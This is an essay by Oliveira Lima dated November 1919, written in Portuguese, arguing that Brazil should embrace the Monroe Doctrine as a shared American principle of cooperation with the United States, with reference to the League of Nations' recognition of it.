A DOUTRINA DE MONROE

Oliveira Lima

A DOUTRINA DE MONROE

O Sr. Presidente da República declarou, não me recordo onde, num dos muitos pontos em que nas viagens que precederam a sua posse teve que fazer ouvir sua palavra autorizada e discreta, que o Brasil reconhecia a Doutrina de Monroe. Foi, se me não engano, a primeira afirmação oficial, não velada, de um estado de coisas que existe desde um século e que nós sempre admitimos, pois que o velho José Silvestre Rebelo já queria, sob os auspícios da doutrina, celebrar em Washington, no tempo da nossa independência, uma aliança que nos valesse contra apregoados ataques e prometidas tentativas de recolonização por parte de Portugal.

O Sr. Presidente da República, decerto, compreende a Doutrina de Monroe e a interpreta no mesmo sentido em que eu sempre a quis compreender e interpretar: a de uma doutrina comum ao Novo Mundo, cabendo proporcionalmente os seus deveres e responsabilidades a cada uma das potências americanas com capacidade para assumir a direção dos seus próprios destinos.

Entre os princípios internacionais consagrados ao estatuto da Liga das Nações conta-se a referida doutrina, classificada como acordo regional {regional understanding), não como teoria de pro-tetorado servindo de base para um mandato continental. Há, já se sabe, estourados que se não contentam com isso. Para um publicista americano que escreve no Evening Post, por exemplo, o mundo deveria ser repartido em quatro zonas, uma das quais seria o hemisfério ocidental, "onde os Estados Unidos, agindo de acordo com o mandato da Liga, poderiam intervir onde as condições anárquicas ou outras quaisquer ameaçadoras assim o exigissem".

O publicista não tratou das outras zonas, no que talvez fizesse bem, porque seria sumamente difícil fazer de cadeira uma discriminação resultando numa partilha. Suponho que o mandato da Ásia incumbiria ao Japão, uma vez que a Inglaterra evacuasse a índia, a França a Indochina e os Estados Unidos as Filipinas e que a China estivesse pelo ajuste; o da África caberia à Inglaterra, porque os interesses britânicos ali primam os franceses. Não sei, porém, a quem poderia caber o mandato da Europa, por tal modo anda tudo por lá embrulhado, não correspondendo os recursos às ambições, isto é, sendo desproporcionadas as forças de cada fator continental com o papel absorvente que procura desempenhar.

O Alexandre VI de New York, como o chama um seu colega, publicista mexicano, ficaria pois perplexo se quisesse ampliar e explicar sua bula divisória. Na América a situação é na verdade muito mais clara e líquida. Oferece-se à primeira vista o perigo de uma hegemonia, a qual não pode contudo deixar de subsistir num certo sentido de predomínio e mesmo de direção, desde que existe uma nação tão adiantada, quer em absoluto, quer relativamente às outras do Novo Mundo, mas que não significa fatalmente conquista e incorporação. O que temos a fazer é tirar o melhor partido da situação, aprendendo como se deve proceder quando se quer formar um grande povo e construir uma grande nacionalidade.

Uma das conseqüências da guerra foi acabar com os equilíbrios parciais que constituíam, somados, um sistema geral que logrou, com efeito, sustentar a paz do mundo durante algum tempo, e substituí-los pela tutela das grandes potências do momento, aliadas mas desavindas, de fato ou em perspectiva, como não podia deixar de acontecer desde o momento em que uma pelo menos daquelas potências quer temperar de idealismo sociológico e de senso ético a política das realidades, e outras pretendem apenas converter suas aspirações em realidades mal disfarçadas com a fraseologia do direito e da moral.

A nova ordem de coisas converteu em um princípio internacional de governo o que já era um princípio internacional de justiça: que a ação dos elementos mais progressivos da sociedade política não pode ser tolhida pelos embaraços levantados pelos elementos mais atrasados. Na sociedade civil os incapazes são interditos e recebem tutores adrede nomeados. É mister dar prova de civilização, quer dizer, proceder com juízo para não despertar a zanga do conselho diretor da Liga. Esta criação ou entidade chamou a si, concretizando-a, a tarefa que em teoria se reputava necessária. Somente pelo tal regional understanding da Doutrina de Monroe a tarefa americana incumbe aos Estados Unidos. Estes sempre pensaram uniformemente sobre o caso. Está no espírito e na consciência de cada americano o que o Secretário de Estado, Hamilton Fish escrevia no seu relatório de 1870, a saber, que pela prioridade da sua independência, pela estabilidade das suas instituições, pelo respeito do seu povo às formas legais, pelos seus recursos, pelos atrativos que oferecem à imigração européia, pelo prodigioso desenvolvimento interno das suas indústrias, pela florescência da rua riqueza e pela intensidade da sua vida intelectual, os Estados Unidos ocupam logicamente uma posição proeminente neste continente, a qual não podem nem querem abdicar e que lhes dá título a ter voz decisiva.

Eu tenho mais de uma vez recordado à luz da história diplomática que nós nos não podemos queixar de que os Estados Unidos tenham jamais querido, segundo ocorreu com nações européias, atentar contra a soberania brasileira. Por que nos havemos, então, de rebelar contra uma ameaça imaginária c tão imaginária que não pensa cm tornar-se efetiva numa ocasião singular como a que atravessamos, quando a América do Sul não mais encontra na Europa onde se apoiar c as próprias desconfianças que ainda subsistem entre as suas unidades lhe vedam formar um bloco de resistência podendo eventualmente servir de defesa contra qualquer agressão?

E quem julga de boa-fé que os Estados Unidos queiram valer-se da Doutrina de Monroe para jungir-nos ao seu triunfo, quando a Doutrina de Monroe é também nossa? Numa entente não há forçosamente subalternação. A primitiva doutrina, pois que ela teve que evoluir muito, já não corresponde, decerto, à presente situação. Num século quanto não mudam as coisas! Que nação européia pensaria atualmente em fazer de nações americanas suas colônias? Mas por isso mesmo que, com relação ao Velho Mundo, a situação mudou extraordinariamente, é natural que ela mude dentro do Novo Mundo também, onde os prestígios menores, se não podem contrabalançar o prestígio maior, podem com êle viver na melhor harmonia e derivar proveito dessa convivência. Temos todos a lucrar com o desenvolvimento que trazem os capitais, com o espírito de iniciativa, com a direção técnica, com a orientação educativa dos americanos.

Sua intervenção econômica e pedagógica não tem sido nem desmoralizadora nem perturbadora. A guerra veio favorecer uma novíssima Doutrina de Monroe — a de cooperação e solidariedade.

Parnamirim, novembro de 1919

Fonte: Oliveira Lima – Obra Seleta – Conselho Federal de Cultura, 1971.

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